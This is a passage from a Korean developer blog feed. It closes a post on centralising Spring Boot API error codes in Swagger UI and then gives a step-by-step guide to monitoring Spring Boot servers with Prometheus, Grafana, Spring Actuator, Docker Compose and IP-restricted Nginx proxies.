        <span class="k">return</span> <span class="nc">ResponseEntity</span><span class="o">.</span><span class="na">ok</span><span class="o">(</span><span class="n">userService</span><span class="o">.</span><span class="na">getUser</span><span class="o">(</span><span class="n">id</span><span class="o">));</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">@ApiErrorCodeExamples</code>에 에러코드를 나열하면 Swagger UI에 해당 에러 응답이 자동으로 표시됩니다.</p>

<p>어노테이션 적용 후 Swagger UI에서는 HTTP Status별로 에러 예시가 드롭다운으로 표시됩니다:</p>

<p><img src="https://github.com/user-attachments/assets/3abcf2a8-e16a-4a52-9bff-3e8b106cb605" alt="Swagger UI 에러 응답 문서화 예시" style="max-width: 100%;" /></p>

<h3 id="service에서-예외-처리-방법">Service에서 예외 처리 방법</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Service</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">UserService</span> <span class="o">{</span>

    <span class="kd">public</span> <span class="nc">UserDto</span> <span class="nf">getUser</span><span class="o">(</span><span class="nc">Long</span> <span class="n">id</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">return</span> <span class="n">userRepository</span><span class="o">.</span><span class="na">findById</span><span class="o">(</span><span class="n">id</span><span class="o">)</span>
            <span class="o">.</span><span class="na">orElseThrow</span><span class="o">(()</span> <span class="o">-&gt;</span> <span class="k">new</span> <span class="nc">ApiException</span><span class="o">(</span><span class="nc">ApiErrorCode</span><span class="o">.</span><span class="na">NOT_FOUND</span><span class="o">));</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<h3 id="예외-체이닝-원인-예외-포함">예외 체이닝 (원인 예외 포함)</h3>

<p>외부 API 호출 등에서 원인 예외를 함께 전달하고 싶을 때:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">try</span> <span class="o">{</span>
    <span class="n">externalApiCall</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">throw</span> <span class="k">new</span> <span class="nf">ApiException</span><span class="o">(</span><span class="nc">ApiErrorCode</span><span class="o">.</span><span class="na">EXTERNAL_API_ERROR</span><span class="o">,</span> <span class="n">e</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<h2 id="️-주의사항">⚠️ 주의사항</h2>

<ol>
  <li><strong>에러코드 중복 방지</strong>: 새로운 에러코드 추가 시 기존 코드와 중복되지 않는지 확인</li>
  <li><strong>메시지 동기화</strong>: <code class="language-plaintext highlighter-rouge">ApiErrorCode</code> enum 추가 시 반드시 <code class="language-plaintext highlighter-rouge">message.properties</code>에 메시지 정의</li>
  <li><strong>HTTP Status 일관성</strong>: 동일한 성격의 에러는 동일한 HTTP Status 사용</li>
</ol>

<hr />

<h2 id="결론">결론</h2>

<p>이 패턴을 적용하면 다음과 같은 효과를 얻을 수 있습니다:</p>

<ul>
  <li><strong>반복 코드 제거</strong>: Swagger UI에 에러코드를 명시하기 위해 <code class="language-plaintext highlighter-rouge">@ApiResponse</code>를 일일이 작성하지 않아도 됩니다</li>
  <li><strong>에러 처리 중앙화</strong>: 에러코드, HTTP Status, 메시지가 모두 한곳에서 관리됩니다</li>
  <li><strong>문서 정합성</strong>: Swagger 문서와 실제 에러 응답이 항상 동일하게 유지됩니다</li>
  <li><strong>타입 안전성</strong>: enum 기반이므로 존재하지 않는 에러코드를 참조할 수 없습니다</li>
</ul>

<p>어노테이션 하나로 Swagger 문서와 에러 응답을 동시에 관리할 수 있으므로, API가 많아질수록 효과가 커집니다. 에러 응답 문서화에 반복적인 노력을 들이고 있다면 도입을 검토해 보시기 바랍니다.</p>

<hr />

<h2 id="참고-자료">참고 자료</h2>

<ul>
  <li><a href="https://springdoc.org/">Springdoc-OpenAPI 공식 문서</a></li>
  <li><a href="https://spring.io/blog/2013/11/01/exception-handling-in-spring-mvc">Spring Boot Exception Handling Best Practices</a></li>
  <li><a href="https://swagger.io/specification/">OpenAPI 3.0 Specification</a></li>
  <li><a href="https://devnm.tistory.com/29">Swagger UI에 에러 응답 예시 적용하기</a></li>
</ul>]]></content><author><name>KIM-KYOUNG-OH</name></author><category term="Spring" /><category term="Spring-Boot" /><category term="Swagger" /><category term="OpenAPI" /><category term="Error-Handling" /><summary type="html"><![CDATA[프론트엔드와 백엔드 간 소통 매개체로 Swagger UI가 자주 사용됩니다. API를 개발하다 보면 에러 응답 코드를 정의해야하는 경우가 많은데, @ApiResponse 어노테이션을 사용하여 에러 코드를 일일이 작성하다 보면 비즈니스 코드가 점점 비대해지고, 비즈니스 로직과 Swagger 문서화 로직이 혼재되기 시작합니다.]]></summary></entry><entry><title type="html">Prometheus + Grafana + Spring Actuator 서버 시스템 메트릭 모니터링하기</title><link href="https://coffeetimes.github.io/infra/2026/02/27/prometheus-grafana-spring-actuator-monitoring.html" rel="alternate" type="text/html" title="Prometheus + Grafana + Spring Actuator 서버 시스템 메트릭 모니터링하기" /><published>2026-02-27T00:00:00+00:00</published><updated>2026-02-27T00:00:00+00:00</updated><id>https://coffeetimes.github.io/infra/2026/02/27/prometheus-grafana-spring-actuator-monitoring</id><content type="html" xml:base="https://coffeetimes.github.io/infra/2026/02/27/prometheus-grafana-spring-actuator-monitoring.html"><![CDATA[<p>서비스를 운영하다 보면 “서버가 느려졌는데 원인을 모르겠다”는 상황을 자주 마주칩니다.
CPU 사용률, 메모리, API 응답 시간 같은 시스템 메트릭을 실시간으로 확인할 수 있다면 장애 원인을 훨씬 빠르게 파악할 수 있습니다.</p>

<p>이번 글에서는 <strong>Prometheus + Grafana + Spring Actuator</strong> 조합으로 Spring Boot 애플리케이션의 시스템 메트릭을 수집하고 시각화하는 모니터링 환경을 구축한 경험을 공유합니다.</p>

<h2 id="도입-배경">도입 배경</h2>

<p>모니터링 시스템 도입을 통해 다음 네 가지 목표를 달성하고자 했습니다:</p>

<ol>
  <li><strong>메트릭 가시화를 통한 성능 모니터링 기반 마련</strong>: CPU, 메모리, JVM 힙, GC 등 애플리케이션 핵심 메트릭을 실시간 대시보드로 시각화하여 시스템 상태를 즉시 파악할 수 있는 환경을 구성합니다.</li>
  <li><strong>API 응답 속도(Latency) 분석 체계 구축</strong>: API 엔드포인트별 응답 시간, 요청 빈도, 에러율을 한눈에 확인할 수 있도록 정리하여 성능 병목 구간을 빠르게 식별하고 대응할 수 있는 기반을 마련합니다.</li>
  <li><strong>다중 서버 통합 모니터링</strong>: 여러 서버 인스턴스의 메트릭을 하나의 모니터링 시스템에서 수집하고, 서버 간 부하 분포를 비교·분석할 수 있는 통합 관제 환경을 구성합니다.</li>
  <li><strong>장애 조기 감지를 위한 확장 기반 마련</strong>: Grafana의 알림(Alert) 기능과 연계하여, 메트릭 임계값 초과 시 장애 징후를 조기에 감지할 수 있는 확장 기반을 마련합니다.</li>
</ol>

<hr />

<h2 id="아키텍처">아키텍처</h2>

<h3 id="전체-흐름">전체 흐름</h3>

<p><img src="https://github.com/user-attachments/assets/1cf1d72e-31c9-4e5e-af16-1b66e13e2166" alt="모니터링 아키텍처" /></p>

<h3 id="각-컴포넌트의-역할">각 컴포넌트의 역할</h3>

<table>
  <thead>
    <tr>
      <th>컴포넌트</th>
      <th>역할</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>**Spring Actuator**</td>
      <td>애플리케이션 메트릭 엔드포인트 노출 (<code class="language-plaintext highlighter-rouge">/actuator/prometheus</code>)</td>
    </tr>
    <tr>
      <td>**Micrometer**</td>
      <td>메트릭을 Prometheus 포맷으로 변환하는 어댑터</td>
    </tr>
    <tr>
      <td>**Prometheus**</td>
      <td>Pull 방식으로 메트릭을 주기적으로 수집 &amp; 시계열 DB에 저장</td>
    </tr>
    <tr>
      <td>**Grafana**</td>
      <td>수집된 메트릭을 대시보드로 시각화, 임계값 기반 알림 설정</td>
    </tr>
  </tbody>
</table>

<p><strong>Pull 방식</strong>이란 Prometheus가 설정된 간격(기본 15초)마다 Spring 애플리케이션의 <code class="language-plaintext highlighter-rouge">/actuator/prometheus</code> 엔드포인트를 직접 호출하여 메트릭을 가져오는 구조입니다. 애플리케이션이 메트릭을 보내는 Push 방식과 달리, 모니터링 대상이 증가해도 Prometheus 설정만 추가하면 되므로 확장성이 좋습니다.</p>

<hr />

<h2 id="구현-가이드">구현 가이드</h2>

<h3 id="step-1-spring-actuator--micrometer-설정">Step 1: Spring Actuator + Micrometer 설정</h3>

<p>먼저 Spring Boot 애플리케이션에 메트릭 수집 기능을 추가합니다.</p>

<p><strong>build.gradle</strong>:</p>

<div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">dependencies</span> <span class="o">{</span>
    <span class="n">implementation</span> <span class="s1">'org.springframework.boot:spring-boot-starter-actuator:2.7.0'</span>
    <span class="n">implementation</span> <span class="s1">'io.micrometer:micrometer-registry-prometheus:1.10.3'</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>application.yml</strong>:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">management</span><span class="pi">:</span>
  <span class="na">metrics</span><span class="pi">:</span>
    <span class="na">tags</span><span class="pi">:</span>
      <span class="na">application</span><span class="pi">:</span> <span class="s">my-api</span>  <span class="c1"># Grafana 대시보드에서 애플리케이션 식별용</span>
    <span class="na">export</span><span class="pi">:</span>
      <span class="na">prometheus</span><span class="pi">:</span>
        <span class="na">enabled</span><span class="pi">:</span> <span class="kc">true</span>
    <span class="na">enable</span><span class="pi">:</span>
      <span class="na">http.server.requests</span><span class="pi">:</span> <span class="kc">true</span>
    <span class="na">distribution</span><span class="pi">:</span>
      <span class="na">percentiles-histogram</span><span class="pi">:</span>
        <span class="na">http.server.requests</span><span class="pi">:</span> <span class="kc">false</span>
  <span class="na">endpoints</span><span class="pi">:</span>
    <span class="na">web</span><span class="pi">:</span>
      <span class="na">exposure</span><span class="pi">:</span>
        <span class="na">include</span><span class="pi">:</span> <span class="s">prometheus</span>  <span class="c1"># prometheus 엔드포인트만 노출</span>
</code></pre></div></div>

<p>설정 후 애플리케이션을 실행하면 <code class="language-plaintext highlighter-rouge">http://localhost:8080/actuator/prometheus</code>에서 메트릭을 확인할 수 있습니다.</p>

<h3 id="step-2-uri-cardinality-explosion-방지">Step 2: URI Cardinality Explosion 방지</h3>

<p>Spring Actuator의 HTTP 메트릭은 기본적으로 요청 URI를 태그로 기록합니다. 그런데 <code class="language-plaintext highlighter-rouge">/api/users/1</code>, <code class="language-plaintext highlighter-rouge">/api/users/2</code>처럼 Path Variable이 포함된 URI는 각각 별도 메트릭으로 기록되어 <strong>Cardinality Explosion</strong>(메트릭 폭발)이 발생할 수 있습니다.</p>

<p>이를 방지하기 위해 정규화된 URI 템플릿(<code class="language-plaintext highlighter-rouge">/api/users/{id}</code>)을 사용하도록 <code class="language-plaintext highlighter-rouge">WebMvcTagsProvider</code>를 커스터마이징합니다.</p>

<p><strong>TimerConfig.java</strong>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Configuration</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">TimerConfig</span> <span class="o">{</span>

    <span class="nd">@Bean</span>
    <span class="kd">public</span> <span class="nc">WebMvcTagsProvider</span> <span class="nf">webMvcTagsProvider</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">return</span> <span class="k">new</span> <span class="nf">DefaultWebMvcTagsProvider</span><span class="o">()</span> <span class="o">{</span>
            <span class="nd">@Override</span>
            <span class="kd">public</span> <span class="nc">Iterable</span><span class="o">&lt;</span><span class="nc">Tag</span><span class="o">&gt;</span> <span class="nf">getTags</span><span class="o">(</span><span class="nc">HttpServletRequest</span> <span class="n">request</span><span class="o">,</span>
                                         <span class="nc">HttpServletResponse</span> <span class="n">response</span><span class="o">,</span>
                                         <span class="nc">Object</span> <span class="n">handler</span><span class="o">,</span> <span class="nc">Throwable</span> <span class="n">exception</span><span class="o">)</span> <span class="o">{</span>
                <span class="c1">// URI Cardinality Explosion 방지를 위해 정규화된 URI 템플릿 사용</span>
                <span class="nc">String</span> <span class="n">uriTemplate</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span> <span class="n">request</span><span class="o">.</span><span class="na">getAttribute</span><span class="o">(</span>
                    <span class="nc">HandlerMapping</span><span class="o">.</span><span class="na">BEST_MATCHING_PATTERN_ATTRIBUTE</span><span class="o">);</span>
                <span class="k">if</span> <span class="o">(</span><span class="n">uriTemplate</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
                    <span class="n">uriTemplate</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getRequestURI</span><span class="o">();</span> <span class="c1">// fallback</span>
                <span class="o">}</span>

                <span class="k">return</span> <span class="nc">List</span><span class="o">.</span><span class="na">of</span><span class="o">(</span>
                    <span class="nc">Tag</span><span class="o">.</span><span class="na">of</span><span class="o">(</span><span class="s">"uri"</span><span class="o">,</span> <span class="n">uriTemplate</span><span class="o">),</span>
                    <span class="nc">Tag</span><span class="o">.</span><span class="na">of</span><span class="o">(</span><span class="s">"method"</span><span class="o">,</span> <span class="n">request</span><span class="o">.</span><span class="na">getMethod</span><span class="o">()),</span>
                    <span class="nc">Tag</span><span class="o">.</span><span class="na">of</span><span class="o">(</span><span class="s">"status"</span><span class="o">,</span> <span class="nc">String</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="n">response</span><span class="o">.</span><span class="na">getStatus</span><span class="o">())),</span>
                    <span class="nc">Tag</span><span class="o">.</span><span class="na">of</span><span class="o">(</span><span class="s">"exception"</span><span class="o">,</span> <span class="n">exception</span> <span class="o">==</span> <span class="kc">null</span>
                        <span class="o">?</span> <span class="s">"None"</span> <span class="o">:</span> <span class="n">exception</span><span class="o">.</span><span class="na">getClass</span><span class="o">().</span><span class="na">getSimpleName</span><span class="o">()),</span>
                    <span class="nc">Tag</span><span class="o">.</span><span class="na">of</span><span class="o">(</span><span class="s">"outcome"</span><span class="o">,</span> <span class="n">response</span><span class="o">.</span><span class="na">getStatus</span><span class="o">()</span> <span class="o">&gt;=</span> <span class="mi">200</span>
                        <span class="o">&amp;&amp;</span> <span class="n">response</span><span class="o">.</span><span class="na">getStatus</span><span class="o">()</span> <span class="o">&lt;</span> <span class="mi">300</span> <span class="o">?</span> <span class="s">"SUCCESS"</span> <span class="o">:</span> <span class="s">"ERROR"</span><span class="o">)</span>
                <span class="o">);</span>
            <span class="o">}</span>
        <span class="o">};</span>
    <span class="o">}</span>

<span class="o">}</span>
</code></pre></div></div>

<h3 id="step-3-actuator-엔드포인트-보안-설정">Step 3: Actuator 엔드포인트 보안 설정</h3>

<p>Actuator 엔드포인트는 애플리케이션의 민감한 정보를 노출하므로, 반드시 접근 제어가 필요합니다.</p>

<p><strong>SecurityConfig.java</strong> (내부 네트워크에서만 접근 허용):</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Configuration</span>
<span class="nd">@RequiredArgsConstructor</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">SecurityConfig</span> <span class="kd">extends</span> <span class="nc">WebSecurityConfigurerAdapter</span> <span class="o">{</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">configure</span><span class="o">(</span><span class="nc">WebSecurity</span> <span class="n">web</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="n">web</span><span class="o">.</span><span class="na">ignoring</span><span class="o">().</span><span class="na">antMatchers</span><span class="o">(</span><span class="s">"/actuator/**"</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<blockquote>
  <p><strong>보안 주의</strong>: Spring Security에서 <code class="language-plaintext highlighter-rouge">/actuator/**</code>를 무시(ignoring)하더라도, 반드시 Nginx 등 웹 서버 레벨에서 외부 접근을 차단해야 합니다. Actuator 엔드포인트가 외부에 노출되면 중대한 보안 사고가 발생할 수 있습니다. <code class="language-plaintext highlighter-rouge">{hostUrl}/actuator</code>를 호출하면 현재 오픈된 Actuator 엔드포인트 목록을 확인할 수 있습니다.</p>
</blockquote>

<p><img src="https://github.com/user-attachments/assets/095bd410-606a-4fe6-b90d-786bdf0effad" alt="Actuator 엔드포인트 목록" /></p>

<p><strong>Nginx - Actuator 엔드포인트 외부 차단</strong>:</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">location</span> <span class="p">~</span> <span class="sr">^/actuator(/.*)?$</span> <span class="p">{</span>
    <span class="kn">deny</span> <span class="s">all</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Prometheus는 내부 네트워크(Private IP)를 통해 직접 메트릭을 수집하므로, Nginx를 경유하지 않아 이 차단 규칙에 영향을 받지 않습니다.</p>

<h3 id="step-4-prometheus--grafana-설치-docker-compose">Step 4: Prometheus + Grafana 설치 (Docker Compose)</h3>

<p>모니터링 서버에 Prometheus와 Grafana를 Docker Compose로 설치합니다.</p>

<p><strong>디렉토리 구조</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/opt/monitoring
 ├─ docker-compose.yml          # Prometheus + Grafana 컨테이너 정의
 ├─ prometheus/
 │   ├─ prometheus.yml           # 수집 대상(targets), 주기 등 설정
 │   └─ data/                    # 시계열 메트릭 저장소 (볼륨 마운트)
 └─ grafana/
     ├─ data/                    # 대시보드, 사용자 설정 등 영구 저장소
     └─ provisioning/
         ├─ dashboards/          # 대시보드 자동 프로비저닝 JSON
         └─ datasources/         # 데이터 소스 자동 프로비저닝 YAML
</code></pre></div></div>

<p><strong>Docker 설치</strong> (Amazon Linux 2 기준):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>yum update <span class="nt">-y</span>

<span class="c"># Docker 설치</span>
<span class="nb">sudo </span>amazon-linux-extras <span class="nb">install </span>docker <span class="nt">-y</span>
<span class="nb">sudo </span>service docker start
<span class="nb">sudo </span>usermod <span class="nt">-aG</span> docker ec2-user

<span class="c"># Docker Compose 설치</span>
<span class="nb">sudo </span>curl <span class="nt">-L</span> <span class="se">\</span>
 https://github.com/docker/compose/releases/download/v2.29.2/docker-compose-linux-x86_64 <span class="se">\</span>
 <span class="nt">-o</span> /usr/local/bin/docker-compose
<span class="nb">sudo chmod</span> +x /usr/local/bin/docker-compose
docker-compose <span class="nt">--version</span>
</code></pre></div></div>

<p><strong>docker-compose.yml</strong>:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">services</span><span class="pi">:</span>
  <span class="na">prometheus</span><span class="pi">:</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">prom/prometheus:v2.54.0</span>
    <span class="na">container_name</span><span class="pi">:</span> <span class="s">prometheus</span>
    <span class="na">user</span><span class="pi">:</span> <span class="s2">"</span><span class="s">1000:1000"</span>                <span class="c1"># 호스트 사용자 권한으로 실행 (볼륨 권한 이슈 방지)</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">always</span>                  <span class="c1"># 컨테이너 비정상 종료 시 자동 재시작</span>
    <span class="na">networks</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">monitoring-net</span>
    <span class="na">ports</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">9094:9090"</span>                  <span class="c1"># 호스트 9094 → 컨테이너 9090 포트 매핑</span>
    <span class="na">volumes</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">./prometheus/prometheus.yml:/etc/prometheus/prometheus.yml:ro</span>  <span class="c1"># 설정 파일 (읽기 전용)</span>
      <span class="pi">-</span> <span class="s">./prometheus/data:/prometheus</span>                                  <span class="c1"># 메트릭 저장소</span>
    <span class="na">command</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">--config.file=/etc/prometheus/prometheus.yml"</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">--storage.tsdb.path=/prometheus"</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">--storage.tsdb.retention.time=15d"</span>   <span class="c1"># 메트릭 보관 기간</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">--storage.tsdb.retention.size=4GB"</span>   <span class="c1"># 최대 저장 용량</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">--web.enable-admin-api"</span>              <span class="c1"># 관리 API 활성화 (스냅샷, 삭제 등)</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">--web.console.libraries=/usr/share/prometheus/console_libraries"</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">--web.console.templates=/usr/share/prometheus/consoles"</span>

  <span class="na">grafana</span><span class="pi">:</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">grafana/grafana:10.4.3</span>
    <span class="na">container_name</span><span class="pi">:</span> <span class="s">grafana</span>
    <span class="na">depends_on</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">prometheus</span>                   <span class="c1"># Prometheus 컨테이너 먼저 실행</span>
    <span class="na">user</span><span class="pi">:</span> <span class="s2">"</span><span class="s">1000:1000"</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">always</span>
    <span class="na">networks</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">monitoring-net</span>
    <span class="na">ports</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">3004:3000"</span>                  <span class="c1"># 호스트 3004 → 컨테이너 3000 포트 매핑</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">GF_SECURITY_ADMIN_USER</span><span class="pi">:</span> <span class="s">admin</span>
      <span class="na">GF_SECURITY_ADMIN_PASSWORD</span><span class="pi">:</span> <span class="s">&lt;your-password&gt;</span>
      <span class="na">GF_USERS_ALLOW_SIGN_UP</span><span class="pi">:</span> <span class="s2">"</span><span class="s">false"</span>          <span class="c1"># 외부 회원가입 차단</span>
      <span class="na">GF_SERVER_DOMAIN</span><span class="pi">:</span> <span class="s2">"</span><span class="s">grafana.prod.local"</span>   <span class="c1"># 리버스 프록시 도메인</span>
    <span class="na">volumes</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">./grafana/data:/var/lib/grafana</span>                    <span class="c1"># 대시보드, 설정 영구 저장</span>
      <span class="pi">-</span> <span class="s">./grafana/provisioning:/etc/grafana/provisioning</span>   <span class="c1"># 자동 프로비저닝</span>

<span class="na">networks</span><span class="pi">:</span>
  <span class="na">monitoring-net</span><span class="pi">:</span>
    <span class="na">driver</span><span class="pi">:</span> <span class="s">bridge</span>                   <span class="c1"># 컨테이너 간 내부 통신용 브릿지 네트워크</span>
</code></pre></div></div>

<h3 id="step-5-prometheus-수집-대상-설정">Step 5: Prometheus 수집 대상 설정</h3>

<p><strong>prometheus.yml</strong>:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">global</span><span class="pi">:</span>
  <span class="na">scrape_interval</span><span class="pi">:</span> <span class="s">15s</span>      <span class="c1"># 메트릭 수집 주기</span>
  <span class="na">scrape_timeout</span><span class="pi">:</span> <span class="s">10s</span>       <span class="c1"># 수집 타임아웃</span>
  <span class="na">evaluation_interval</span><span class="pi">:</span> <span class="s">15s</span>  <span class="c1"># 알림 규칙 평가 주기</span>

<span class="na">scrape_configs</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">job_name</span><span class="pi">:</span> <span class="s1">'</span><span class="s">spring-actuator'</span>
    <span class="na">metrics_path</span><span class="pi">:</span> <span class="s1">'</span><span class="s">/actuator/prometheus'</span>
    <span class="na">static_configs</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">targets</span><span class="pi">:</span> <span class="pi">[</span><span class="s1">'</span><span class="s">10.0.1.10:8080'</span><span class="pi">]</span>  <span class="c1"># Server1 Private IP</span>
        <span class="na">labels</span><span class="pi">:</span>
          <span class="na">instance</span><span class="pi">:</span> <span class="s1">'</span><span class="s">server1'</span>

      <span class="pi">-</span> <span class="na">targets</span><span class="pi">:</span> <span class="pi">[</span><span class="s1">'</span><span class="s">10.0.1.11:8080'</span><span class="pi">]</span>  <span class="c1"># Server2 Private IP</span>
        <span class="na">labels</span><span class="pi">:</span>
          <span class="na">instance</span><span class="pi">:</span> <span class="s1">'</span><span class="s">server2'</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">targets</code>에는 Spring Boot 애플리케이션의 <strong>Private IP</strong>를 지정합니다. Prometheus가 내부 네트워크를 통해 직접 <code class="language-plaintext highlighter-rouge">/actuator/prometheus</code>를 호출합니다.</p>

<h3 id="step-6-docker-compose-실행">Step 6: Docker Compose 실행</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /opt/monitoring
docker-compose up <span class="nt">-d</span>
docker ps  <span class="c"># 컨테이너 상태 확인</span>
</code></pre></div></div>

<p>정상 실행 후 접속 확인:</p>
<ul>
  <li>Prometheus: <code class="language-plaintext highlighter-rouge">http://&lt;monitoring-server&gt;:9094</code></li>
</ul>

<p><img src="https://github.com/user-attachments/assets/8a86edad-01f8-4a2d-af01-2fea8e77b8df" alt="Prometheus 접속 화면" /></p>

<ul>
  <li>Grafana: <code class="language-plaintext highlighter-rouge">http://&lt;monitoring-server&gt;:3004</code></li>
</ul>

<p><img src="https://github.com/user-attachments/assets/5d02b979-c771-4b64-af6e-d41c3397a665" alt="Grafana 접속 화면" /></p>

<h3 id="step-7-nginx-리버스-프록시-설정">Step 7: Nginx 리버스 프록시 설정</h3>

<p>외부에서 Prometheus와 Grafana에 접근할 때는 Nginx 리버스 프록시를 통해 IP 제한을 적용합니다.</p>

<p><strong>grafana.conf</strong>:</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">server</span> <span class="p">{</span>
    <span class="kn">listen</span>       <span class="mi">3104</span><span class="p">;</span>
    <span class="kn">server_name</span>  <span class="s">monitoring.example.com</span><span class="p">;</span>

    <span class="kn">access_log</span>  <span class="n">/var/log/nginx/grafana/access.log</span>  <span class="s">main</span><span class="p">;</span>
    <span class="kn">error_log</span>   <span class="n">/var/log/nginx/grafana/error.log</span><span class="p">;</span>

    <span class="c1"># IP 제한 - 허용된 IP만 접근 가능</span>
    <span class="kn">allow</span> <span class="mf">10.0</span><span class="s">.0.0/8</span><span class="p">;</span>      <span class="c1"># 사내 네트워크</span>
    <span class="kn">allow</span> <span class="mf">203.0</span><span class="s">.113.50</span><span class="p">;</span>     <span class="c1"># VPN IP</span>
    <span class="kn">deny</span> <span class="s">all</span><span class="p">;</span>

    <span class="kn">location</span> <span class="n">/</span> <span class="p">{</span>
        <span class="kn">proxy_pass</span> <span class="s">http://localhost:3004</span><span class="p">;</span>
        <span class="kn">proxy_set_header</span> <span class="s">Host</span> <span class="nv">$http_host</span><span class="p">;</span>
        <span class="kn">proxy_set_header</span> <span class="s">X-Real-IP</span> <span class="nv">$remote_addr</span><span class="p">;</span>
        <span class="kn">proxy_set_header</span> <span class="s">X-Forwarded-For</span> <span class="nv">$proxy_add_x_forwarded_for</span><span class="p">;</span>
        <span class="kn">proxy_set_header</span> <span class="s">X-Forwarded-Proto</span> <span class="nv">$scheme</span><span class="p">;</span>
        <span class="kn">proxy_http_version</span> <span class="mf">1.1</span><span class="p">;</span>
        <span class="kn">proxy_set_header</span> <span class="s">Upgrade</span> <span class="nv">$http_upgrade</span><span class="p">;</span>
        <span class="kn">proxy_set_header</span> <span class="s">Connection</span> <span class="s">"upgrade"</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>prometheus.conf</strong>:</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">server</span> <span class="p">{</span>
    <span class="kn">listen</span> <span class="mi">9194</span><span class="p">;</span>
    <span class="kn">server_name</span> <span class="s">monitoring.example.com</span><span class="p">;</span>

    <span class="kn">access_log</span>  <span class="n">/var/log/nginx/prometheus/access.log</span>  <span class="s">main</span><span class="p">;</span>
    <span class="kn">error_log</span>   <span class="n">/var/log/nginx/prometheus/error.log</span><span class="p">;</span>

    <span class="c1"># IP 제한</span>
    <span class="kn">allow</span> <span class="mf">10.0</span><span class="s">.0.0/8</span><span class="p">;</span>
    <span class="kn">allow</span> <span class="mf">203.0</span><span class="s">.113.50</span><span class="p">;</span>
    <span class="kn">deny</span> <span class="s">all</span><span class="p">;</span>

    <span class="kn">location</span> <span class="n">/</span> <span class="p">{</span>
        <span class="kn">proxy_pass</span> <span class="s">http://localhost:9094</span><span class="p">;</span>
        <span class="kn">proxy_set_header</span> <span class="s">Host</span> <span class="nv">$http_host</span><span class="p">;</span>
        <span class="kn">proxy_set_header</span> <span class="s">X-Real-IP</span> <span class="nv">$remote_addr</span><span class="p">;</span>
        <span class="kn">proxy_set_header</span> <span class="s">X-Forwarded-For</span> <span class="nv">$proxy_add_x_forwarded_for</span><span class="p">;</span>
        <span class="kn">proxy_set_header</span> <span class="s">X-Forwarded-Proto</span> <span class="nv">$scheme</span><span class="p">;</span>
        <span class="kn">proxy_http_version</span> <span class="mf">1.1</span><span class="p">;</span>
        <span class="kn">proxy_set_header</span> <span class="s">Upgrade</span> <span class="nv">$http_upgrade</span><span class="p">;</span>
        <span class="kn">proxy_set_header</span> <span class="s">Connection</span> <span class="s">"upgrade"</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

